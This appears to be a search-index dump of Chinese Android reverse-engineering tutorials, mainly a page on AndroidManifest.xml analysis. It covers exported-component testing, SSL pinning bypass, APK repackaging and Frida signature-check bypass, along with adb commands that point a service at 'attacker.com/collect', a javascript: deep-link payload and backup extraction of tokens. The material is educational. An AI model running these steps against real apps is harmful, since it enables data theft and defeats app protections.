我们就是那个“窃听者”和“篡改者”。因此，我们的工作重心是让自己成为客户端信任的“中间人”（绕过证书校验/Pinning），或者直接拿到通信密钥（Hook OpenSSL）。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:5:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#总结"},{"categories":null,"collections":null,"content":"AndroidManifest.xml 深度解析 AndroidManifest.xml 是 Android 应用的\"大脑\"和\"蓝图\"。它是一个强制性的配置文件，位于每个 APK 的根目录中。该文件向 Android 构建工具、操作系统和 Google Play 描述了应用的基本信息、组件、权限和硬件要求。对于逆向工程师来说，这是了解应用功能、入口点和安全边界的首要切入点。 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:0:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#androidmanifestxml-深度解析"},{"categories":null,"collections":null,"content":"1. Manifest 结构详解 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:1:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#1-manifest-结构详解"},{"categories":null,"collections":null,"content":"1.1 完整元素层次结构 \u003cmanifest\u003e ← 根元素，定义包名和版本 │ ├── \u003cuses-permission /\u003e ← 请求系统权限 ├── \u003cpermission /\u003e ← 定义自定义权限 ├── \u003cuses-feature /\u003e ← 声明硬件/软件需求 ├── \u003cuses-sdk /\u003e ← 最低/目标 SDK 版本 │ └── \u003capplication\u003e ← 应用级配置和组件容器 │ ├── \u003cactivity\u003e ← 界面组件 │ └── \u003cintent-filter\u003e │ ├── \u003caction /\u003e │ ├── \u003ccategory /\u003e │ └── \u003cdata /\u003e ├── \u003cservice\u003e ← 后台服务 ├── \u003creceiver\u003e ← 广播接收器 ├── \u003cprovider\u003e ← 内容提供器 │ ├── \u003cgrant-uri-permission /\u003e │ └── \u003cpath-permission /\u003e ├── \u003cmeta-data /\u003e ← 键值对元数据 └── \u003cuses-library /\u003e ← 依赖的共享库 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:1:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#11-完整元素层次结构"},{"categories":null,"collections":null,"content":"1.2 逆向分析中最关注的属性 优先级 属性/元素 逆向价值 最高 \u003capplication android:name\u003e Application 子类，壳的入口 最高 MAIN/LAUNCHER Activity 应用的启动入口 最高 android:debuggable 是否可以附加调试器 高 android:exported=\"true\" 攻击面 – 外部可访问的组件 高 \u003cuses-permission\u003e 应用能力的快速画像 高 android:networkSecurityConfig SSL Pinning 配置 中 android:allowBackup 是否允许数据备份导出 中 android:process 多进程架构，影响 Hook 策略 中 \u003cprovider android:authorities\u003e 数据接口，可能存在注入 中 Deep Link (\u003cdata\u003e 标签) URL Scheme 攻击面 低 \u003cmeta-data\u003e SDK 配置，可能包含 API Key ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:1:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#12-逆向分析中最关注的属性"},{"categories":null,"collections":null,"content":"1.3 二进制 Manifest 的解码 APK 中的 AndroidManifest.xml 是 AXML 二进制格式，不能直接阅读： # 方法 1: apktool 解码（推荐，同时解码资源） apktool d target.apk -o target_decoded cat target_decoded/AndroidManifest.xml # 方法 2: aapt 快速查看（不解包） aapt dump xmltree target.apk AndroidManifest.xml # 方法 3: jadx 反编译时自动解码 jadx target.apk -d output_dir # 方法 4: androguard (Python) python3 -c \" from androguard.core.apk import APK a = APK('target.apk') print(a.get_android_manifest_xml().toprettyxml()) \" ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:1:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#13-二进制-manifest-的解码"},{"categories":null,"collections":null,"content":"2. 权限分析 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:2:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#2-权限分析"},{"categories":null,"collections":null,"content":"2.1 权限分类 保护级别 说明 逆向意义 normal 低风险，安装时自动授予 基本能力（震动、网络状态） dangerous 高风险，需运行时授权 核心功能指标（相机、位置、存储） signature 仅同签名应用可获得 系统级功能或应用间私有通信 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:2:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#21-权限分类"},{"categories":null,"collections":null,"content":"2.2 从权限推测应用行为 \u003c!-- 典型的间谍软件权限配置 --\u003e \u003cuses-permission android:name=\"android.permission.READ_SMS\" /\u003e \u003cuses-permission android:name=\"android.permission.RECEIVE_SMS\" /\u003e \u003cuses-permission android:name=\"android.permission.RECORD_AUDIO\" /\u003e \u003cuses-permission android:name=\"android.permission.ACCESS_FINE_LOCATION\" /\u003e \u003cuses-permission android:name=\"android.permission.CAMERA\" /\u003e \u003cuses-permission android:name=\"android.permission.READ_CONTACTS\" /\u003e \u003cuses-permission android:name=\"android.permission.RECEIVE_BOOT_COMPLETED\" /\u003e 权限行为速查表: 权限 行为推测 逆向关注点 INTERNET 网络通信 抓包分析，API 逆向 READ_SMS / RECEIVE_SMS 读取/拦截短信 验证码窃取 ACCESS_FINE_LOCATION 精确定位 位置上报逻辑 CAMERA 摄像头 偷拍、人脸识别 RECORD_AUDIO 录音 监听、语音识别 READ_CONTACTS 读取通讯录 数据泄露、社工收集 RECEIVE_BOOT_COMPLETED 开机自启 持久化驻留机制 SYSTEM_ALERT_WINDOW 悬浮窗 钓鱼覆盖攻击 REQUEST_INSTALL_PACKAGES 安装应用 静默安装恶意软件 BIND_ACCESSIBILITY_SERVICE 无障碍服务 自动点击、窃取界面内容 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:2:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#22-从权限推测应用行为"},{"categories":null,"collections":null,"content":"2.3 自定义权限分析 \u003c!-- 定义自定义权限 --\u003e \u003cpermission android:name=\"com.example.app.permission.ACCESS_INTERNAL_API\" android:protectionLevel=\"signature\" /\u003e \u003c!-- 使用自定义权限保护组件 --\u003e \u003cservice android:name=\".service.InternalApiService\" android:permission=\"com.example.app.permission.ACCESS_INTERNAL_API\" android:exported=\"true\" /\u003e protectionLevel=\"signature\" 意味着只有相同签名的应用才能访问。如果是 normal 或 dangerous，任何应用都可能获取该权限。 # 提取权限列表 aapt dump permissions target.apk # 查看已授予的权限 adb shell dumpsys package com.example.app | grep \"granted=true\" ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:2:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#23-自定义权限分析"},{"categories":null,"collections":null,"content":"3. 组件导出分析 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:3:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#3-组件导出分析"},{"categories":null,"collections":null,"content":"3.1 exported 属性规则 exported 判定规则: ┌──────────────────────────────────────────────────────┐ │ 显式 exported=\"true\" → 可被外部访问 │ │ 显式 exported=\"false\" → 不可被外部访问 │ │ │ │ 未声明时: │ │ 有 \u003cintent-filter\u003e → 默认 exported=\"true\" │ │ 无 \u003cintent-filter\u003e → 默认 exported=\"false\" │ │ │ │ Android 12+ (targetSdk \u003e= 31): │ │ 有 intent-filter 必须显式声明，否则安装失败 │ └──────────────────────────────────────────────────────┘ ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:3:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#31-exported-属性规则"},{"categories":null,"collections":null,"content":"3.2 攻击面映射 \u003c!-- 存在多个导出组件的应用 --\u003e \u003capplication\u003e \u003c!-- 风险: 无权限保护的管理界面 --\u003e \u003cactivity android:name=\".AdminActivity\" android:exported=\"true\" /\u003e \u003c!-- 风险: 可被恶意绑定的 Service --\u003e \u003cservice android:name=\".DataSyncService\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"com.example.vulnerable.SYNC\" /\u003e \u003c/intent-filter\u003e \u003c/service\u003e \u003c!-- 风险: 接收恶意广播 --\u003e \u003creceiver android:name=\".CommandReceiver\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"com.example.vulnerable.EXECUTE\" /\u003e \u003c/intent-filter\u003e \u003c/receiver\u003e \u003c!-- 风险: 数据泄露 --\u003e \u003cprovider android:name=\".UserDataProvider\" android:authorities=\"com.example.vulnerable.userdata\" android:exported=\"true\" /\u003e \u003c/application\u003e ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:3:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#32-攻击面映射"},{"categories":null,"collections":null,"content":"3.3 使用 adb 测试导出组件 # 测试导出的 Activity adb shell am start -n com.example.vulnerable/.AdminActivity \\ --es action \"delete_all_users\" # 测试导出的 Service adb shell am startservice \\ -a \"com.example.vulnerable.SYNC\" \\ --es target \"http://attacker.com/collect\" # 测试导出的 Receiver adb shell am broadcast \\ -a \"com.example.vulnerable.EXECUTE\" \\ --es command \"dump_database\" # 测试导出的 ContentProvider adb shell content query \\ --uri content://com.example.vulnerable.userdata/users ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:3:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#33-使用-adb-测试导出组件"},{"categories":null,"collections":null,"content":"3.4 intent-filter 的安全隐患 有 \u003cintent-filter\u003e 的组件会隐式变为 exported=\"true\"： \u003c!-- 开发者可能只想接收内部广播，但实际上是导出的 --\u003e \u003creceiver android:name=\".InternalCommandReceiver\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"com.example.app.INTERNAL_ACTION\" /\u003e \u003c/intent-filter\u003e \u003c!-- 应添加 android:exported=\"false\" --\u003e \u003c/receiver\u003e \u003c!-- Deep Link 攻击面 --\u003e \u003cactivity android:name=\".WebViewActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.VIEW\" /\u003e \u003ccategory android:name=\"android.intent.category.BROWSABLE\" /\u003e \u003cdata android:scheme=\"myapp\" android:host=\"webview\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c!-- 攻击: myapp://webview?url=javascript:alert(1) 如果未校验 URL，可能导致 XSS 或任意网页加载 --\u003e ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:3:4","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#34-intent-filter-的安全隐患"},{"categories":null,"collections":null,"content":"4. Application 属性 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#4-application-属性"},{"categories":null,"collections":null,"content":"4.1 安全关键属性 \u003capplication android:name=\".MyApplication\" android:debuggable=\"false\" android:allowBackup=\"false\" android:networkSecurityConfig=\"@xml/network_security_config\" android:usesCleartextTraffic=\"false\" android:extractNativeLibs=\"true\"\u003e ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#41-安全关键属性"},{"categories":null,"collections":null,"content":"4.2 debuggable 属性 debuggable=“true” debuggable=“false” 可使用 JDWP 附加调试器 无法直接 JDWP 调试 run-as \u003cpackage\u003e 可访问私有目录 run-as 不可用 所有级别日志输出 部分日志被过滤 绕过方法: 修改 Manifest 添加 debuggable=true 后重打包 使用 Magisk + ro.debuggable=1 使用 Frida（不依赖 debuggable 属性） # 检查是否可调试 adb shell dumpsys package com.example.app | grep \"flags=\" # run-as 访问私有目录（需 debuggable=true） adb shell run-as com.example.app ls shared_prefs/ ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#42-debuggable-属性"},{"categories":null,"collections":null,"content":"4.3 allowBackup 属性 # allowBackup=\"true\" 时可以导出应用数据 adb backup -f backup.ab -noapk com.example.app # 转换并解压 java -jar abe.jar unpack backup.ab backup.tar \"\" tar xvf backup.tar # 可获取: shared_prefs/(Token/密钥)、databases/、files/ ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#43-allowbackup-属性"},{"categories":null,"collections":null,"content":"4.4 networkSecurityConfig \u003c!-- res/xml/network_security_config.xml --\u003e \u003cnetwork-security-config\u003e \u003c!-- 全局: 禁止明文 --\u003e \u003cbase-config cleartextTrafficPermitted=\"false\"\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\" /\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c!-- SSL Pinning --\u003e \u003cdomain-config\u003e \u003cdomain includeSubdomains=\"true\"\u003eapi.example.com\u003c/domain\u003e \u003cpin-set expiration=\"2025-12-31\"\u003e \u003cpin digest=\"SHA-256\"\u003eAAAAAAAAAAAAA=\u003c/pin\u003e \u003c/pin-set\u003e \u003c/domain-config\u003e \u003c!-- 调试时信任用户证书 --\u003e \u003cdebug-overrides\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"user\" /\u003e \u003c/trust-anchors\u003e \u003c/debug-overrides\u003e \u003c/network-security-config\u003e 绕过 SSL Pinning: 修改配置文件，在 \u003cbase-config\u003e 中添加 \u003ccertificates src=\"user\" /\u003e 配合 debuggable=true 利用 debug-overrides Frida Hook TrustManager / SSLContext Objection: android sslpinning disable ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:4","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#44-networksecurityconfig"},{"categories":null,"collections":null,"content":"4.5 usesCleartextTraffic 当此属性为 false（Android 9+ 默认），所有 HTTP 请求被拦截。逆向抓包时需改为 true。 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:4:5","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#45-usescleartexttraffic"},{"categories":null,"collections":null,"content":"5. 多进程分析 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:5:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#5-多进程分析"},{"categories":null,"collections":null,"content":"5.1 android:process 属性 \u003capplication android:name=\".MyApplication\"\u003e \u003c!-- 默认进程: com.example.app --\u003e \u003cactivity android:name=\".MainActivity\" /\u003e \u003c!-- 私有子进程: com.example.app:push --\u003e \u003cservice android:name=\".PushService\" android:process=\":push\" /\u003e \u003c!-- 私有子进程: com.example.app:crypto --\u003e \u003cservice android:name=\".CryptoService\" android:process=\":crypto\" /\u003e \u003c/application\u003e 多进程架构: PID 12345: com.example.app ← 主进程 (MyApplication 实例 #1) PID 12346: com.example.app:push ← 推送进程 (MyApplication 实例 #2) PID 12347: com.example.app:crypto ← 加密进程 (MyApplication 实例 #3) 注意: 每个进程都会重新创建 Application 实例! ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:5:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#51-androidprocess-属性"},{"categories":null,"collections":null,"content":"5.2 多进程对 Hook 的影响 # Frida 默认只 attach 主进程，需要指定子进程 frida-ps -U | grep com.example # 12345 com.example.app # 12346 com.example.app:push # 12347 com.example.app:crypto # attach 到子进程 frida -U -n \"com.example.app:crypto\" -l hook.js // 在脚本中判断当前进程 Java.perform(function() { var proc = Java.use(\"android.app.ActivityThread\").currentProcessName(); console.log(\"[*] 当前进程: \" + proc); if (proc.indexOf(\":crypto\") !== -1) { hookCryptoMethods(); } }); 重要: 很多应用在 Application 中判断进程名来决定初始化逻辑，可能导致某些 Hook 在子进程中不生效。 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:5:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#52-多进程对-hook-的影响"},{"categories":null,"collections":null,"content":"6. Manifest 修改与重打包 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:6:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#6-manifest-修改与重打包"},{"categories":null,"collections":null,"content":"6.1 修改流程 # Step 1: 解包 apktool d target.apk -o target_decoded # Step 2: 修改 AndroidManifest.xml # 添加/修改: debuggable=\"true\", allowBackup=\"true\", # usesCleartextTraffic=\"true\" # Step 3: (可选) 创建 network_security_config.xml 信任用户证书 \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003cnetwork-security-config\u003e \u003cbase-config cleartextTrafficPermitted=\"true\"\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\" /\u003e \u003ccertificates src=\"user\" /\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c/network-security-config\u003e # Step 4: 重打包 + 对齐 + 签名 apktool b target_decoded -o target_modified.apk zipalign -v 4 target_modified.apk target_aligned.apk apksigner sign --ks debug.keystore --ks-pass pass:android target_aligned.apk adb install -r target_aligned.apk ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:6:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#61-修改流程"},{"categories":null,"collections":null,"content":"6.2 常见修改操作 修改目标 修改内容 用途 开启调试 debuggable=\"true\" 附加调试器 允许备份 allowBackup=\"true\" 导出应用数据 允许明文 usesCleartextTraffic=\"true\" HTTP 抓包 信任用户证书 修改 networkSecurityConfig HTTPS 抓包 导出组件 exported=\"true\" 直接调用内部组件 移除权限检查 删除 android:permission 绕过权限保护 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:6:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#62-常见修改操作"},{"categories":null,"collections":null,"content":"6.3 签名校验绕过 重打包后签名改变，很多应用会校验签名一致性： // Frida 绕过签名校验 Java.perform(function() { // 方法 1: Hook PackageManager var PM = Java.use(\"android.app.ApplicationPackageManager\"); PM.getPackageInfo.overload(\"java.lang.String\", \"int\") .implementation = function(pkg, flags) { if ((flags \u0026 0x40) !== 0) { // GET_SIGNATURES console.log(\"[*] 拦截签名校验\"); } return this.getPackageInfo(pkg, flags); }; // 方法 2: 直接 Hook 校验方法 var Security = Java.use(\"com.example.app.SecurityCheck\"); Security.checkSignature.implementation = function() { console.log(\"[*] 跳过签名校验\"); return true; }; }); ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:6:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#63-签名校验绕过"},{"categories":null,"collections":null,"content":"7. 从 Manifest 制定逆向策略 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:7:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#7-从-manifest-制定逆向策略"},{"categories":null,"collections":null,"content":"7.1 分析检查清单 ┌────────────────────────────────────────────────────────────┐ │ AndroidManifest.xml 逆向分析检查清单 │ ├────────────────────────────────────────────────────────────┤ │ [ ] 1. 基本信息: package, version, minSdk/targetSdk │ │ [ ] 2. Application: android:name (壳入口) │ │ [ ] 3. 安全属性: debuggable, allowBackup, cleartext │ │ [ ] 4. 网络配置: networkSecurityConfig (SSL Pinning) │ │ [ ] 5. 入口点: MAIN/LAUNCHER Activity, Deep Link │ │ [ ] 6. 导出组件: 所有 exported=\"true\" 的组件 │ │ [ ] 7. 权限列表: 识别 dangerous 权限推测功能 │ │ [ ] 8. 多进程: android:process 属性 │ │ [ ] 9. 元数据: meta-data 中的 SDK 配置和 API Key │ └────────────────────────────────────────────────────────────┘ ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:7:1","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#71-分析检查清单"},{"categories":null,"collections":null,"content":"7.2 快速分析脚本 #!/bin/bash # manifest_analyzer.sh \u003cAndroidManifest.xml\u003e MANIFEST=$1 echo \"=== 基本信息 ===\" grep -oP 'package=\"[^\"]*\"' \"$MANIFEST\" grep -oP 'android:versionName=\"[^\"]*\"' \"$MANIFEST\" echo -e \"\\n=== Application 类 ===\" grep -oP '\u003capplication[^\u003e]*android:name=\"[^\"]*\"' \"$MANIFEST\" | \\ grep -oP 'android:name=\"[^\"]*\"' echo -e \"\\n=== 安全属性 ===\" grep -oP 'android:debuggable=\"[^\"]*\"' \"$MANIFEST\" grep -oP 'android:allowBackup=\"[^\"]*\"' \"$MANIFEST\" grep -oP 'android:usesCleartextTraffic=\"[^\"]*\"' \"$MANIFEST\" grep -oP 'android:networkSecurityConfig=\"[^\"]*\"' \"$MANIFEST\" echo -e \"\\n=== 权限 ===\" grep -oP '\u003cuses-permission android:name=\"[^\"]*\"' \"$MANIFEST\" | \\ sed 's/\u003cuses-permission android:name=\"//;s/\"//' echo -e \"\\n=== 导出的组件 ===\" grep -B1 'exported=\"true\"' \"$MANIFEST\" | grep -oP 'android:name=\"[^\"]*\"' echo -e \"\\n=== 多进程 ===\" grep -oP 'android:process=\"[^\"]*\"' \"$MANIFEST\" echo -e \"\\n=== Deep Links ===\" grep -A3 'android:scheme=' \"$MANIFEST\" ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:7:2","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#72-快速分析脚本"},{"categories":null,"collections":null,"content":"7.3 实战案例：金融 App 分析 💡 思路一句话: 通过 AndroidManifest 就能获取大量信息 — 权限列表暴露功能范围，exported 组件暴露攻击面，meta-data 可能泄露第三方 SDK 配置和密钥。 \u003cmanifest package=\"com.bank.secureapp\"\u003e \u003cuses-sdk android:minSdkVersion=\"24\" android:targetSdkVersion=\"33\" /\u003e \u003cuses-permission android:name=\"android.permission.INTERNET\" /\u003e \u003cuses-permission android:name=\"android.permission.USE_BIOMETRIC\" /\u003e \u003cuses-permission android:name=\"android.permission.CAMERA\" /\u003e \u003capplication android:name=\"com.bank.secureapp.BankApplication\" android:debuggable=\"false\" android:allowBackup=\"false\" android:networkSecurityConfig=\"@xml/network_security_config\" android:usesCleartextTraffic=\"false\"\u003e \u003cactivity android:name=\".ui.SplashActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\" /\u003e \u003ccategory android:name=\"android.intent.category.LAUNCHER\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003cactivity android:name=\".ui.LoginActivity\" /\u003e \u003cactivity android:name=\".ui.TransferActivity\" /\u003e \u003c!-- 加密服务在独立进程 --\u003e \u003cservice android:name=\".service.CryptoService\" android:process=\":secure\" /\u003e \u003c!-- Deep Link 攻击面 --\u003e \u003cactivity android:name=\".ui.DeepLinkActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.VIEW\" /\u003e \u003ccategory android:name=\"android.intent.category.BROWSABLE\" /\u003e \u003cdata android:scheme=\"bankapp\" android:host=\"transfer\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003cmeta-data android:name=\"com.firebase.sdk.key\" android:value=\"AIzaSyD...\" /\u003e \u003c/application\u003e \u003c/manifest\u003e 制定的逆向计划: 1. 前期准备: debuggable=false → 使用 Frida（不依赖 debuggable） networkSecurityConfig → 可能有 SSL Pinning，准备绕过脚本 2. SSL Pinning 绕过: Frida 脚本 → 失败则修改 config 重打包 3. 入口分析: Application: BankApplication → Hook attachBaseContext() 检查壳 启动流程: SplashActivity → LoginActivity → 分析登录协议 4. 核心逻辑: CryptoService 在 :secure 子进程 → frida -U -n \"com.bank.secureapp:secure\" -l hook.js 5. 攻击面: Deep Link bankapp://transfer → 测试是否可绕过认证 Firebase Key 明文泄露 → 检查 Firebase 数据库访问 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:7:3","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#73-实战案例金融-app-分析"},{"categories":null,"collections":null,"content":"8. 安全风险与配置 组件导出风险: 将内部组件设为 exported=\"true\" 是最常见的 Android 漏洞之一。 Webview 风险: 检查是否使用 WebView 并开启了 setJavaScriptEnabled(true)，可能导致远程代码执行。 File Provider 路径遍历: FileProvider 配置不当可能导致任意文件读取。 Intent 重定向: 导出组件接收 Intent 后用其数据启动另一组件，可能导致未导出组件被间接调用。 PendingIntent 劫持: 使用空白 Intent 创建的 PendingIntent 可能被恶意应用劫持。 硬编码密钥: 分析后应在 res/values/strings.xml 或代码中寻找硬编码的 API 密钥。 ","date":"2024-06-01","objectID":"/reverse_engineering/android/04-reference/foundations/android_manifest/:8:0","tags":["SSL Pinning","Hook","基础知识","Smali","Android","DEX"],"title":"AndroidManifest.xml 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/android_manifest/#8-安全风险与配置"},{"categories":null,"collections":null,"content":"x86 与 ARM 汇编基础指南 汇编语言是与计算机硬件直接对话的低级编程语言，是逆向工程、系统编程和性能优化的基石。在当今世界，x86 和 ARM 是两种最主流的指令集架构 (ISA)。理解它们的核心概念与差异对于逆向工程师至关重要。 x86: 由 Intel 主导，采用CISC (复杂指令集计算机) 设计。指令长度可变，功能强大但复杂，主要用于桌面和服务器。 ARM: 由 ARM Holdings 设计，采用RISC (精简指令集计算机) 设计。指令长度固定，设计简洁优雅，功耗低，主宰了移动和嵌入式设备领域。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:0:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86-与-arm-汇编基础指南"},{"categories":null,"collections":null,"content":"x86/x64 寄存器模型 x86 架构的寄存器有着复杂的历史演变。从 16 位到 32 位再到 64 位，每一代都是在前一代基础上扩展的，因此寄存器命名呈现出嵌套结构。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:1:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86x64-寄存器模型"},{"categories":null,"collections":null,"content":"通用寄存器 